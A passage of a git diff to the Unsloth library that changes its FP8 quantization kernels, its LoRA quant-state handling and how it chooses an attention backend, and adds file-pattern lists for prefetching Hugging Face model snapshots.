     mask = (offs_m[:, None] < M) & (offs_n[None, :] < N)
     x = tl.load(x_ptr + offs, mask = mask).to(tl.float32)
     s = tl.load(s_ptr + pid_m * n + pid_n)
@@ -93,7 +110,8 @@ def weight_dequant_block(
         triton.cdiv(M, meta["BLOCK_SIZE"]),
         triton.cdiv(N, meta["BLOCK_SIZE"]),
     )
-    weight_dequant_kernel[grid](x, s, y, M, N, BLOCK_SIZE = block_size)
+    with _fp8_triton_device_context(x):
+        weight_dequant_kernel[grid](x, s, y, M, N, BLOCK_SIZE = block_size)
     return y
 
 
@@ -147,7 +165,8 @@ def act_quant(x: torch.Tensor, block_size: int = 128) -> tuple[torch.Tensor, tor
     def grid(meta):
         return (triton.cdiv(x.numel(), meta["BLOCK_SIZE"]),)
 
-    act_quant_kernel[grid](x, y, s, BLOCK_SIZE = block_size)
+    with _fp8_triton_device_context(x):
+        act_quant_kernel[grid](x, y, s, BLOCK_SIZE = block_size)
     return y, s
 
 
@@ -272,32 +291,33 @@ def w8a8_block_fp8_matmul_triton(
     def grid(META):
         return (triton.cdiv(M, META["BLOCK_SIZE_M"]) * triton.cdiv(N, META["BLOCK_SIZE_N"]),)
 
-    _w8a8_block_fp8_matmul[grid](
-        A,
-        B,
-        C,
-        As,
-        Bs,
-        M,
-        N,
-        K,
-        block_n,
-        block_k,
-        A.stride(-2),
-        A.stride(-1),
-        B.stride(1),
-        B.stride(0),
-        C.stride(-2),
-        C.stride(-1),
-        As.stride(-2),
-        As.stride(-1),
-        Bs.stride(1),
-        Bs.stride(0),
-        BLOCK_SIZE_M = BLOCK_SIZE_M,
-        BLOCK_SIZE_N = BLOCK_SIZE_N,
-        BLOCK_SIZE_K = BLOCK_SIZE_K,
-        GROUP_SIZE_M = 8,
-    )
+    with _fp8_triton_device_context(A):
+        _w8a8_block_fp8_matmul[grid](
+            A,
+            B,
+            C,
+            As,
+            Bs,
+            M,
+            N,
+            K,
+            block_n,
+            block_k,
+            A.stride(-2),
+            A.stride(-1),
+            B.stride(1),
+            B.stride(0),
+            C.stride(-2),
+            C.stride(-1),
+            As.stride(-2),
+            As.stride(-1),
+            Bs.stride(1),
+            Bs.stride(0),
+            BLOCK_SIZE_M = BLOCK_SIZE_M,
+            BLOCK_SIZE_N = BLOCK_SIZE_N,
+            BLOCK_SIZE_K = BLOCK_SIZE_K,
+            GROUP_SIZE_M = 8,
+        )
     return C
 
 
@@ -309,13 +329,14 @@ def torchao_block_matmul(
     block_size: tuple[int, int],
     output_dtype: torch.dtype = torch.bfloat16,
 ):
-    out = torchao_blockwise_gemm(
-        act_q.contiguous(),
-        act_scale.contiguous(),
-        weight_q.contiguous(),
-        weight_scale.contiguous(),
-        block_size = block_size[1],
-    )
+    with _fp8_triton_device_context(act_q):
+        out = torchao_blockwise_gemm(
+            act_q.contiguous(),
+            act_scale.contiguous(),
+            weight_q.contiguous(),
+            weight_scale.contiguous(),
+            block_size = block_size[1],
+        )
     return out.to(output_dtype)
 
 
@@ -327,11 +348,42 @@ fp8_block_matmul = (
 )
 
 
+def _blockwise_weight_dequant_any_shape(weight, weight_scale, block_size, out_dtype):
+    """Blockwise fp8 weight dequant for any shape: triton when the weight tiles
+    evenly into block_size, else a torch-native per-block scale expansion."""
+    m, n = weight.shape
+    if weight_scale.dtype not in (torch.float32, torch.float16, torch.bfloat16):
+        weight_scale = weight_scale.to(torch.float32)  # e.g. float8_e8m0fnu scales break triton
+    if weight_scale.numel() == 1:
+        # Per-tensor scale: the normal forward stashes the un-expanded scalar,
+        # which repeat_interleave cannot grow to (m, n). Scale directly.
+        return (weight.to(torch.float32) * weight_scale.float()).to(out_dtype)
+    if m % block_size[0] != 0 or n % block_size[1] != 0 or block_size[0] != block_size[1]:
+        # Uneven tiling, or rectangular blocks. The triton kernel uses a single
+        # BLOCK_SIZE for both axes and derives the column scale stride from it, so
+        # it mis-indexes the scale when block_size[0] != block_size[1]. Expand the
+        # per-block scales in torch, which handles both dimensions independently.
+        s_full = weight_scale.repeat_interleave(block_size[0], 0)[:m]
+        s_full = s_full.repeat_interleave(block_size[1], 1)[:, :n]
+        return (weight.to(torch.float32) * s_full).to(out_dtype)
+    # Even tiling with square blocks: block-quant dequant with the real block size
+    # (weight_dequant would silently default to 128 and dequantize wrongly).
+    return weight_dequant_block(weight, weight_scale, block_size = block_size[0], dtype = out_dtype)
+
+
 class FP8BlockQuantLinear(torch.autograd.Function):
     @staticmethod
     def forward(ctx, X, weight, weight_scale):
         m, n = weight.shape
 
+        if weight_scale.dtype not in (torch.float32, torch.float16, torch.bfloat16):
+            # Upcast (e.g. e8m0) returns a fresh tensor and drops any Python
+            # attribute, so carry block_size across the cast for the lookup below.
+            _scale_block_size = getattr(weight_scale, "block_size", None)
+            weight_scale = weight_scale.to(torch.float32)  # e8m0 scales break triton dtype mapping
+            if _scale_block_size is not None:
+                weight_scale.block_size = _scale_block_size
+
         # Original scale, saved for backward before any transformation
         original_weight_scale = weight_scale
 
@@ -360,6 +412,18 @@ class FP8BlockQuantLinear(torch.autograd.Function):
         if not weight.is_contiguous():
             weight = weight.contiguous()
 
+        if X.shape[-1] % block_size[1] != 0:
+            # Hidden dim not divisible by the activation block: dequant + plain matmul.
+            # Use the original (un-expanded) scale so a scalar per-tensor scale keeps
+            # the fast scalar path in both forward and backward.
+            W_deq = _blockwise_weight_dequant_any_shape(
+                weight, original_weight_scale, block_size, X.dtype
+            )
+            ctx.weight = weight
+            ctx.weight_scale = original_weight_scale
+            ctx.block_size = block_size
+            return torch_matmul(X, W_deq.T).to(X.dtype)
+
         qinput, scale = act_quant(X, block_size[1])
         output = fp8_block_matmul(
             qinput,
@@ -371,11 +435,14 @@ class FP8BlockQuantLinear(torch.autograd.Function):
         )
         ctx.weight = weight
         ctx.weight_scale = original_weight_scale  # Save original for backward
+        ctx.block_size = block_size
         return output.to(X.dtype)
 
     @staticmethod
     def backward(ctx, grad_output):
-        W_deq = weight_dequant(ctx.weight, ctx.weight_scale)
+        W_deq = _blockwise_weight_dequant_any_shape(
+            ctx.weight, ctx.weight_scale, ctx.block_size, grad_output.dtype
+        )
         grad_X = torch_matmul(grad_output, W_deq)
         del W_deq
         return grad_X, None, None
@@ -492,7 +559,8 @@ class FP8_fbgemm_block_linear(torch.autograd.Function):
                     f"Weight shape {weight.shape} and scales shape {weight_scale.shape} is not compatible with block size {bs_n, bs_k}"
                 )
 
-        xq, xs = triton_quantize_fp8_block(X, bs_m, bs_n, None)
+        with _fp8_triton_device_context(X):
+            xq, xs = triton_quantize_fp8_block(X, bs_m, bs_n, None)
         # TODO: WARNING - diverges from baseline for high X values, producing
         # gibberish / high starting loss. Do not use until resolved; kept for a
         # future headstart.
@@ -625,3 +693,66 @@ if FbgemmFp8Linear is not None:
     FbgemmFp8Linear.forward = module_forward_patch(fbgemm_fp8_linear, "weight_scale")
 if FP8Linear is not None:
     FP8Linear.forward = module_forward_patch(fp8_block_quant_linear, "weight_scale_inv")
+
+# FP8GroupedLinear's fused grouped matmul has no autograd formula, so training
+# backward fails. In training, use a custom autograd Function: dequant the frozen
+# fp8 weight for a differentiable bmm, saving only the fp8 weight + scale and
+# unwrapping TP shards; eval keeps the fused kernel. Gate on self.training (not
+# is_grad_enabled) so the grad-checkpoint no-grad forward and its recompute match.
+if FP8GroupedLinear is not None:
+    _fp8_grouped_forward_orig = FP8GroupedLinear.forward
+
+    def _fp8_to_local(t):
+        dt = getattr(getattr(torch, "distributed", None), "tensor", None)
+        DTensor = getattr(dt, "DTensor", None) if dt is not None else None
+        return t.to_local() if DTensor is not None and isinstance(t, DTensor) else t
+
+    def _fp8_grouped_dequant(weight, scale_inv, block_size, dtype):
+        # Honor the layer's block size; weight_dequant would assume 128 and mis-scale.
+        if block_size is not None and len(block_size) == 2:
+            return _blockwise_weight_dequant_any_shape(weight, scale_inv.float(), block_size, dtype)
+        return weight_dequant(weight, scale_inv.float()).to(dtype)
+
+    class _FP8GroupedMM(torch.autograd.Function):
+        @staticmethod
+        def forward(ctx, x, weight, scale_inv, n_groups, block_size, bias):
+            weight, scale_inv = _fp8_to_local(weight), _fp8_to_local(scale_inv)
+            hidden = x.shape[-1]
+            W = _fp8_grouped_dequant(weight, scale_inv, block_size, x.dtype)
+            out_per = W.shape[0] // n_groups
+            xg = x.reshape(-1, n_groups, hidden).transpose(0, 1)
+            y = torch.bmm(xg, W.view(n_groups, out_per, hidden).transpose(1, 2))
+            y = y.transpose(0, 1).reshape(*x.shape[:-2], n_groups, out_per)
+            if bias is not None:
+                y = y + bias.view(n_groups, out_per)
+            ctx.save_for_backward(weight, scale_inv)
+            ctx.n_groups, ctx.out_per, ctx.x_shape = n_groups, out_per, x.shape
+            ctx.dtype, ctx.has_bias, ctx.block_size = x.dtype, bias is not None, block_size
+            return y
+
+        @staticmethod
+        def backward(ctx, grad_y):
+            weight, scale_inv = ctx.saved_tensors
+            ng, out_per, hidden = ctx.n_groups, ctx.out_per, ctx.x_shape[-1]
+            W = _fp8_grouped_dequant(weight, scale_inv, ctx.block_size, ctx.dtype).view(
+                ng, out_per, hidden
+            )
+            gy = grad_y.reshape(-1, ng, out_per).transpose(0, 1)
+            grad_x = torch.bmm(gy, W).transpose(0, 1).reshape(ctx.x_shape)
+            grad_bias = gy.sum(1).reshape(-1) if ctx.has_bias else None
+            return grad_x, None, None, None, None, grad_bias
+
+    def _fp8_grouped_forward(self, x):
+        if self.weight.element_size() > 1 or not self.training:
+            return _fp8_grouped_forward_orig(self, x)
+        bias = self.bias if self.has_bias else None
+        return _FP8GroupedMM.apply(
+            x,
+            self.weight,
+            self.weight_scale_inv,
+            self.n_groups,
+            getattr(self, "block_size", None),
+            bias,
+        )
+
+    FP8GroupedLinear.forward = _fp8_grouped_forward
diff --git a/unsloth/kernels/rms_layernorm.py b/unsloth/kernels/rms_layernorm.py
index bc81c5533a..5fc867e0cb 100644
--- a/unsloth/kernels/rms_layernorm.py
+++ b/unsloth/kernels/rms_layernorm.py
@@ -270,7 +270,7 @@ try:
             return fast_rms_layernorm(self, X, gemma = False)
 
 
-except:
+except (ImportError, AttributeError):
     pass
 
 
@@ -281,7 +281,7 @@ def patch_rms_layernorm():
     try:
         import transformers.models.mllama.modeling_mllama
         transformers.models.mllama.modeling_mllama.MllamaTextRMSNorm = Unsloth_MllamaTextRMSNorm
-    except:
+    except (ImportError, AttributeError, NameError):
         pass
     return
 
@@ -293,7 +293,7 @@ def unpatch_rms_layernorm():
     try:
         import transformers.models.mllama.modeling_mllama
         transformers.models.mllama.modeling_mllama.MllamaTextRMSNorm = MllamaTextRMSNorm
-    except:
+    except (ImportError, AttributeError, NameError):
         pass
     return
 
diff --git a/unsloth/kernels/utils.py b/unsloth/kernels/utils.py
index 43ed198a4a..ccfedfdef0 100644
--- a/unsloth/kernels/utils.py
+++ b/unsloth/kernels/utils.py
@@ -282,6 +282,21 @@ def QUANT_STATE(W):
     return getattr(W, "quant_state", None)
 
 
+# fp8 weight dtypes. A `weight_scale` / `weight_scale_inv` should only be treated as a
+# quant state when the weight itself is still fp8. compressed-tensors layers expose an
+# already-dequantized bf16 weight at forward time while keeping a `weight_scale` around;
+# reading that as a quant state routes a bf16 weight into the bitsandbytes fast_gemv /
+# fast_dequantize path, which then reads a missing `absmax` and crashes.
+_FP8_WEIGHT_DTYPES = tuple(
+    dtype
+    for dtype in (
+        getattr(torch, "float8_e4m3fn", None),
+        getattr(torch, "float8_e5m2", None),
+    )
+    if dtype is not None
+)
+
+
 def get_lora_parameters(proj):
     """Return (weight, weight quant_state, lora A, lora B, lora scale).
     With QAT enabled, also fake-quantizes the base layer and lora weights.
@@ -298,9 +313,11 @@ def get_lora_parameters(proj):
         if weight_fake_quantizer is not None:
             W = weight_fake_quantizer(W)
 
-    # Get quant state for 4bit or FP8
+    # Get quant state for 4bit or FP8. Only fall back to a weight_scale(_inv) when the
+    # weight is still fp8; a bf16 weight (e.g. a decompressed compressed-tensors layer)
+    # must not carry a scale as its quant state or fast_gemv will crash on it.
     W_quant = getattr(W, "quant_state", None)
-    if W_quant is None:
+    if W_quant is None and W.dtype in _FP8_WEIGHT_DTYPES:
         W_quant = getattr(base_layer, "weight_scale_inv", None)
         if W_quant is None:
             W_quant = getattr(base_layer, "weight_scale", None)
@@ -308,7 +325,10 @@ def get_lora_parameters(proj):
     if getattr(base_layer, "quant_method", None) == "fp8":
         # we need to somehow store and pass this information :)
         W.block_size = getattr(base_layer, "block_size", [128, 128])
-        W_quant.block_size = W.block_size
+        # A decompressed compressed-tensors layer keeps quant_method == "fp8" while its
+        # weight is back to bf16, so it has no quant state to carry the block size.
+        if W_quant is not None:
+            W_quant.block_size = W.block_size
 
     # if not hasattr(proj, "disable_adapters") or proj.disable_adapters or proj.merged:
     if getattr(proj, "disable_adapters", True) or proj.merged:
@@ -349,21 +369,26 @@ def get_lora_parameters_bias(proj):
     )  # (proj.base_layer if hasattr(proj, "base_layer") else proj)
     W = base_layer.weight
 
-    # Get quant state for 4bit or FP8
+    # Get quant state for 4bit or FP8. Only fall back to a weight_scale(_inv) when the
+    # weight is still fp8; a bf16 weight (e.g. a decompressed compressed-tensors layer)
+    # must not carry a scale as its quant state or fast_gemv will crash on it.
     W_quant = getattr(W, "quant_state", None)
-    if W_quant is None:
+    if W_quant is None and W.dtype in _FP8_WEIGHT_DTYPES:
         W_quant = getattr(base_layer, "weight_scale_inv", None)
         if W_quant is None:
             W_quant = getattr(base_layer, "weight_scale", None)
 
-    # if not hasattr(proj, "disable_adapters") or proj.disable_adapters or proj.merged:
-    if getattr(proj, "disable_adapters", True) or proj.merged:
-        return W, W_quant, None, None, None, base_layer.bias
-
     if getattr(base_layer, "quant_method", None) == "fp8":
         # we need to somehow store and pass this information :)
         W.block_size = getattr(base_layer, "block_size", [128, 128])
-        W_quant.block_size = W.block_size
+        # A decompressed compressed-tensors layer keeps quant_method == "fp8" while its
+        # weight is back to bf16, so it has no quant state to carry the block size.
+        if W_quant is not None:
+            W_quant.block_size = W.block_size
+
+    # if not hasattr(proj, "disable_adapters") or proj.disable_adapters or proj.merged:
+    if getattr(proj, "disable_adapters", True) or proj.merged:
+        return W, W_quant, None, None, None, base_layer.bias
 
     adapter = getattr(proj, "active_adapters", None)
     if adapter is None:
diff --git a/unsloth/models/_utils.py b/unsloth/models/_utils.py
index 599a5c0262..3d41b505df 100644
--- a/unsloth/models/_utils.py
+++ b/unsloth/models/_utils.py
@@ -12,7 +12,7 @@
 # See the License for the specific language governing permissions and
 # limitations under the License.
 
-__version__ = "2026.6.9"
+__version__ = "2026.7.3"
 
 __all__ = [
     "SUPPORTS_BFLOAT16",
@@ -83,8 +83,12 @@ __all__ = [
     "verify_fp8_support_if_applicable",
     "_get_inference_mode_context_manager",
     "hf_login",
+    "maybe_prefetch_hf_snapshot",
     "is_moe_model",
     "get_moe_target_parameters",
+    "get_moe_target_modules",
+    "warn_if_zoo_cannot_merge_moe_experts",
+    "_select_moe_detection_targets",
     "make_fast_generate_wrapper",
     "_mark_unsloth_disable_data_parallel",
     "_patch_transformers_trainer_data_parallel",
@@ -420,9 +424,23 @@ def apply_unsloth_gradient_checkpointing(use_gradient_checkpointing, max_seq_len
 # access on some GPU architectures (B200). Falls back to eager safely.
 _FLEX_EXCLUDED_MODELS = ("gpt_oss", "mllama", "nemotron_h", "modernbert")
 _FLEX_PREFERRED_MODELS = ("gemma3", "gemma3_text", "shieldgemma2")
-_SDPA_EXCLUDED_MODELS = ("gpt_oss",)
-_FLASH_EXCLUDED_MODELS = ("gpt_oss",)
-_EAGER_ONLY_PREFIXES = ("gemma3n",)
+_SDPA_EXCLUDED_MODELS = ("gpt_oss", "deepseek_v4")
+# The loader (loader.py) forces supports_sdpa=False for these because their bundled
+# SDPA modules are wrong. Kept here, not in loader.py, so _is_sdpa_excluded can honor
+# them without a loader -> _utils import cycle (loader.py already imports from _utils
+# and re-exports this name for callers like sentence_transformer.py). Entries are matched
+# as substrings against a comma-joined model_types string ending in a comma, so "gemma3,"
+# matches a distinct "gemma3" entry but not "gemma3n", and "gemma3_text" matches the
+# EmbeddingGemma text model.
+DISABLE_SDPA_MODEL_NAMES = [
+    "gemma3,",  # Add comma bc gemma3 will match gemma3n
+    "gemma3_text",  # Gemma3TextModel (EmbeddingGemma) - substring match, keep underscore
+    "gpt_oss",
+]
+_FLASH_EXCLUDED_MODELS = ("gpt_oss", "deepseek_v4")
+# deepseek_v4's custom attention is sdpa/flash-incompatible; force eager, and
+# excluded above so an explicit sdpa/flash request cannot re-enable the crash.
+_EAGER_ONLY_PREFIXES = ("gemma3n", "deepseek_v4")
 _FLASH_ATTENTION_MAX_HEAD_DIM = 256
 _FLASH_ATTENTION_DISABLED_WARNED = set()
 
@@ -431,8 +449,23 @@ def _is_flex_excluded(model_type):
     return model_type in _FLEX_EXCLUDED_MODELS
 
 
+def _is_sdpa_disabled_by_name(model_type):
+    # Mirror the loader's DISABLE_SDPA_MODEL_NAMES check: loader.py builds
+    # model_types_all = ",".join(model_types) + "," and tests `name in model_types_all`.
+    # Rebuild the same trailing-comma form for a single model_type so the match is
+    # identical (e.g. "gemma3," matches "gemma3" but not "gemma3n", and "gemma3_text"
+    # still matches "gemma3_text").
+    model_types_all = model_type.lower() + ","
+    return any(name.lower() in model_types_all for name in DISABLE_SDPA_MODEL_NAMES)
+
+
 def _is_sdpa_excluded(model_type):
-    return model_type in _SDPA_EXCLUDED_MODELS
+    # SDPA is known-broken for these models, so an explicit sdpa request must not
+    # re-enable it. Two sources: _SDPA_EXCLUDED_MODELS (resolver-level, e.g. gpt_oss)
+    # and DISABLE_SDPA_MODEL_NAMES (loader-level, e.g. gemma3 / gemma3_text, which the
+    # loader also forces to supports_sdpa=False).
+    lowered = model_type.lower()
+    return lowered in _SDPA_EXCLUDED_MODELS or _is_sdpa_disabled_by_name(lowered)
 
 
 def _is_flash_excluded(model_type):
@@ -608,6 +641,12 @@ def _disable_flash_attention_if_needed(
     if disable_reason is None:
         return attn_implementation
 
+    # Only an implementation passed by the caller counts as an explicit request.
+    # Values read from the config are synthesized by the loaders (the language path
+    # seeds the config with attn_implementation="sdpa") or come from Transformers
+    # defaults, so they must not be treated as a deliberate user choice.
+    explicit_request = attn_implementation
+
     requested_attn_implementation = attn_implementation
     if requested_attn_implementation is None:
         requested_attn_implementation = _config_get(config, "_attn_implementation", None)
@@ -617,6 +656,20 @@ def _disable_flash_attention_if_needed(
     if requested_attn_implementation == "eager":
         return _set_attn_impl(config, "eager")
 
+    model_type = _config_get(config, "model_type", "")
+
+    # The disable reason is flash-specific: honor an explicit non-flash request from
+    # the caller instead of downgrading it. SDPA is honored unless the model's SDPA is
+    # known-broken - _SDPA_EXCLUDED_MODELS (e.g. gpt_oss) or DISABLE_SDPA_MODEL_NAMES
+    # (e.g. gemma3 / gemma3_text); flex_attention
+    # is honored only when it is actually usable, since supports_flex_attention already
+    # rejects the excluded/broken/unavailable configs. This keeps an explicit request
+    # from selecting a backend the repo marks as wrong.
+    if explicit_request == "sdpa" and not _is_sdpa_excluded(model_type.lower()):
+        return _set_attn_impl(config, "sdpa")
+    if explicit_request == "flex_attention" and supports_flex_attention:
+        return _set_attn_impl(config, "flex_attention")
+
     if supports_sdpa:
         fallback_attn_implementation = "sdpa"
     elif supports_flex_attention:
@@ -629,7 +682,6 @@ def _disable_flash_attention_if_needed(
             if _is_flash_attention_requested(requested_attn_implementation)
             else "flash_attention_2"
         )
-        model_type = _config_get(config, "model_type", "")
         warning_key = (
             model_type,
             logged_attn_implementation,
@@ -843,7 +895,19 @@ def resolve_attention_implementation(
         final_attn_impl = requested_attn_implementation
         _set_attn_impl(config, final_attn_impl)
 
-    if not supports_sdpa and final_attn_impl == "sdpa":
+    # A caller who explicitly passes requested_attn_implementation="sdpa" keeps it even
+    # on a conservatively unsupported model, mirroring _disable_flash_attention_if_needed
+    # which honors an explicit sdpa request. The exception is a model whose SDPA is
+    # known-broken - _SDPA_EXCLUDED_MODELS (e.g. gpt_oss) or DISABLE_SDPA_MODEL_NAMES
+    # (e.g. gemma3 / gemma3_text, which the loader also forces to supports_sdpa=False):
+    # an explicit request must not re-enable it, so it still downgrades to eager, just
+    # like flex falls back for _FLEX_EXCLUDED_MODELS. A synthesized/default sdpa
+    # (requested is None, so the value came from the model resolution above or the
+    # config) also downgrades.
+    honor_explicit_sdpa = requested_attn_implementation == "sdpa" and not _is_sdpa_excluded(
+        model_type
+    )
+    if not supports_sdpa and final_attn_impl == "sdpa" and not honor_explicit_sdpa:
         print(
             f"Unsloth: {(model_type_name or 'model').title()} does not support SDPA - switching to fast eager."
         )
@@ -905,6 +969,411 @@ logging.getLogger("transformers.tokenization_utils_base").setLevel(logging.CRITI
 TORCHAO_MSG = "Error: torchao not found, please install with `pip install torchao`"
 
 
+# Artifacts a Transformers/PEFT load never reads (ONNX/TF/Flax/CoreML/GGUF/training state), skipped
+# when prewarming so a mixed-format repo is not pulled in full.
+_PREFETCH_IGNORE_PATTERNS = (
+    "*.onnx",
+    "onnx/*",
+    "*.h5",
+    "*.msgpack",
+    "*.tflite",
+    "coreml/*",
+    "*.mlpackage/*",
+    "*.mlmodel",
+    "*.gguf",
+    # Training / checkpoint formats from_pretrained never reads.
+    "*.pt",
+    "*.pth",
+    "*.ckpt",
+    "optimizer.*",
+    "scheduler.*",
+    "rng_state*",
+    "trainer_state.json",
+    "events.out.tfevents*",
+    "checkpoint-*/*",
+)
+
+
+# Repo-root tokenizer / config / processor files from_pretrained reads from root even when weights
+# load from a subfolder. Exact names (no wildcard) so they match only root-level files.
+_ROOT_AUX_PREFETCH_PATTERNS = (
+    "config.json",
+    "generation_config.json",
+    "tokenizer_config.json",
+    "tokenizer.json",
+    "tokenizer.model",
+    "special_tokens_map.json",
+    "added_tokens.json",
+    "vocab.json",
+    "vocab.txt",
+    "merges.txt",
+    "spiece.model",
+    # More VOCAB_FILES_NAMES the slow tokenizer may fetch (DeBERTa-v2, Whisper, Mistral, XLM-R/mBART, Marian, FSMT/XLM, GPT-2).
+    "spm.model",
+    "normalizer.json",
+    "tokenizer.model.v3",
+    "sentencepiece.bpe.model",
+    "source.spm",
+    "target.spm",
+    "bpe.codes",
+    "vocab.bpe",
+    # More VOCAB_FILES_NAMES (RemBERT, FSMT) a distinct-tokenizer-repo warm must cache too.
+    "sentencepiece.model",
+    "vocab-src.json",
+    "vocab-tgt.json",
+    "chat_template.jinja",
+    "chat_template.json",
+    # chat_template="<name>" fetches additional_chat_templates/<name>.jinja.
+    "additional_chat_templates/*.jinja",
+    "preprocessor_config.json",
+    "processor_config.json",
+    "video_preprocessor_config.json",  # Qwen2.5-VL-style video processors
+    # trust_remote_code auto_map can name any module, so warm every *.py (tiny; none in a non-remote repo).
+    "*.py",
+    "*.tiktoken",  # tiktoken vocab (e.g. Qwen's qwen.tiktoken)
+)
+
+
+# Files a PEFT adapter load reads: config + weights (glob covers sharded adapters). Any merged
+# full-model weights the repo also ships match none of these.
+_ADAPTER_PREFETCH_PATTERNS = (
+    "adapter_config.json",
+    "adapter_model*",
+)
+
+
+# Weight files in a SUBDIRECTORY. A bare root load reads only root weights, so ignoring these drops
+# alternate-precision/experimental dirs (fp16/, experimental/). "*/*" spans "/" (HF fnmatch), so nested
+# weights match while root "model.safetensors" is kept. Only applied when weights_at_root (diffusion
+# keeps weights in subfolders).
+_SUBDIR_WEIGHT_IGNORE_PATTERNS = (
+    "*/*.safetensors",
+    "*/*.bin",
+    "*/*.h5",
+    "*/*.msgpack",
+    "*/*.pt",
+    "*/*.pth",
+)
+
+
+def _in_requested_load_scope(filename, subfolder):
+    """True if *filename* is in the location being loaded (*subfolder*, else root). Scopes the ".bin is
+    redundant when safetensors exist" test so a .bin-only subfolder keeps its .bin."""
+    filename = filename.replace("\\", "/")
+    if isinstance(subfolder, str) and subfolder.strip("/"):
+        return filename.startswith(subfolder.strip("/") + "/")
+    return "/" not in filename  # root load: no directory component
+
+
+# .safetensors training-state files that are NOT model weights (e.g. optimizer.safetensors next to a
+# real pytorch_model.bin); counting them as "model safetensors present" would drop the needed .bin.
+_NON_MODEL_WEIGHT_STEMS = frozenset(
+    {
+        "optimizer",
+        "scheduler",
+        "scaler",
+        "rng_state",
+        "training_args",
+    }
+)
+
+
+def _is_model_weight_safetensors(filename):
+    """True if *filename* is a model-weights safetensors, not a PEFT adapter/sidecar
+    (adapter_model.safetensors) or trainer-state (optimizer.safetensors). Only a real one proves the
+    .bin redundant; counting a sidecar would wrongly drop the needed .bin (fetched then without Xet fallback)."""
+    name = filename.replace("\\", "/").rsplit("/", 1)[-1]
+    if not name.endswith((".safetensors", ".safetensors.index.json")):
+        return False
+    if name.startswith("adapter_"):
+        return False
+    # Stem before first dot: "optimizer.safetensors" -> "optimizer" (real shards kept); rng_state via prefix.
+    stem = name.split(".", 1)[0].lower()
+    if stem in _NON_MODEL_WEIGHT_STEMS or stem.startswith("rng_state"):
+        return False
+    return True
+
+
+def _is_canonical_variant_model_weight_safetensors(filename, variant):
+    """True for a canonical model-weights safetensors carrying the requested *variant*, in the forms
+    transformers reads (single, either numbered-shard layout, or the index). Strict (base must be
+    "model"): a sidecar like consolidated.<variant>.safetensors does not prove the variant .bin redundant."""
+    base = filename.replace("\\", "/").rsplit("/", 1)[-1]
+    v = re.escape(variant)
+    return bool(
+        re.match(
+            rf"^(?:model\.{v}\.safetensors"
+            rf"|model\.{v}-\d{{5}}-of-\d{{5}}\.safetensors"
+            rf"|model-\d{{5}}-of-\d{{5}}\.{v}\.safetensors"
+            rf"|model\.safetensors\.index\.{v}\.json)$",
+            base,
+        )
+    )
+
+
+_CANONICAL_MODEL_WEIGHT_SAFETENSORS_RE = re.compile(
+    r"^(?:model\.safetensors|model-\d{5}-of-\d{5}\.safetensors|model\.safetensors\.index\.json)$"
+)
+
+
+def _is_canonical_model_weight_safetensors(filename):
+    """True for a canonical (non-variant) model-weights safetensors a default load reads (model.safetensors,
+    a numbered shard, or the index). Strict: an unrecognized name keeps both formats, so a variant-only
+    safetensors + pytorch_model.bin repo never has its .bin dropped for a no-variant load."""
+    name = filename.replace("\\", "/").rsplit("/", 1)[-1]
+    return bool(_CANONICAL_MODEL_WEIGHT_SAFETENSORS_RE.match(name))
+
+
+def _adapter_repo_has_safetensors(
+    model_name,
+    *,
+    token = None,
+    revision = None,
+):
+    """Best-effort: does the adapter repo ship a root safetensors adapter weight (making the .bin
+    redundant)? Scoped to root adapter_model* files; any failure returns False."""
+    try:
+        from huggingface_hub import HfApi
+        siblings = HfApi().model_info(model_name, revision = revision, token = token).siblings or []
+        return any(
+            "/" not in sibling.rfilename.replace("\\", "/")  # root only
+            and sibling.rfilename.startswith("adapter_model")
+            and sibling.rfilename.endswith(".safetensors")
+            for sibling in siblings
+        )
+    except Exception:
+        return False
+
+
+def _prefetch_ignore_patterns(
+    model_name,
+    *,
+    token = None,
+    revision = None,
+    subfolder = None,
+    use_safetensors = None,
+    from_tf = False,
+    from_flax = False,
+    variant = None,
+    weights_at_root = False,
+):
+    """ignore_patterns for the prewarm snapshot: the static skip list, minus the checkpoint guard when
+    loading from a checkpoint-* subfolder, minus the weight format the load will not read. use_safetensors
+    is a format allowlist (True -> skip *.bin, False -> skip *.safetensors); auto (None) skips *.bin only
+    when in-scope safetensors are shipped. from_tf/from_flax keep *.h5/*.msgpack.
+
+    Suppressed for a whole multi-component snapshot (weights_at_root=False, no subfolder: ST/diffusers
+    repos with per-subfolder weights, each in its own format), since "*" spans "/" so dropping "*.bin"
+    would strip a module's only weight."""
+    # Keep checkpoint-*/* under a checkpoint-* subfolder; keep *.h5 / *.msgpack under from_tf/flax.
+    ignore_patterns = [
+        pattern
+        for pattern in _PREFETCH_IGNORE_PATTERNS
+        if not (
+            (
+                pattern == "checkpoint-*/*"
+                and isinstance(subfolder, str)
+                and subfolder.startswith("checkpoint-")
+            )
+            or (from_tf and pattern == "*.h5")
+            or (from_flax and pattern == "*.msgpack")
+        )
+    ]
+    # Drop the format the load will not read (the other doubles the download); skipped for a whole
+    # multi-component snapshot (see docstring).
+    whole_multi_component = not weights_at_root and not (
+        isinstance(subfolder, str) and subfolder.strip("/")
+    )
+    if whole_multi_component:
+        pass
+    elif from_tf or from_flax:
+        # TF / Flax loads never read the PyTorch formats; drop safetensors and .bin.
+        ignore_patterns.extend(
+            (
+                "*.safetensors",
+                "*.safetensors.index.json",
+                "*.bin",
+                "*.bin.index.json",
+            )
+        )
+    elif use_safetensors is True:
+        # Explicit safetensors: load never reads .bin (no model_info call needed).
+        ignore_patterns.extend(("*.bin", "*.bin.index.json"))
+    elif use_safetensors is False:
+        # Explicit .bin: load never reads safetensors.
+        ignore_patterns.extend(("*.safetensors", "*.safetensors.index.json"))
+    else:
+        # Auto: skip .bin only once in-scope safetensors are confirmed (best-effort; any failure keeps both).
+        try:
+            from huggingface_hub import HfApi
+
+            siblings = (
+                HfApi()
+                .model_info(
+                    model_name,
+                    revision = revision,
+                    token = token,
+                )
+                .siblings
+                or []
+            )
+            # Count only in-scope model-weights safetensors (not adapters/sidecars): variant-matching if
+            # a variant is requested, else canonical, proving the .bin redundant.
+            has_safetensors = any(
+                _is_model_weight_safetensors(sibling.rfilename)
+                and _in_requested_load_scope(sibling.rfilename, subfolder)
+                and (
+                    _is_canonical_variant_model_weight_safetensors(sibling.rfilename, variant)
+                    if variant
+                    else _is_canonical_model_weight_safetensors(sibling.rfilename)
+                )
+                for sibling in siblings
+            )
+            if has_safetensors:
+                ignore_patterns.extend(("*.bin", "*.bin.index.json"))
+        except Exception:
+            pass
+    return ignore_patterns
+
+
+def maybe_prefetch_hf_snapshot(
+    model_name,
+    token = None,
+    *,
+    revision = None,
+    cache_dir = None,
+    local_files_only = False,
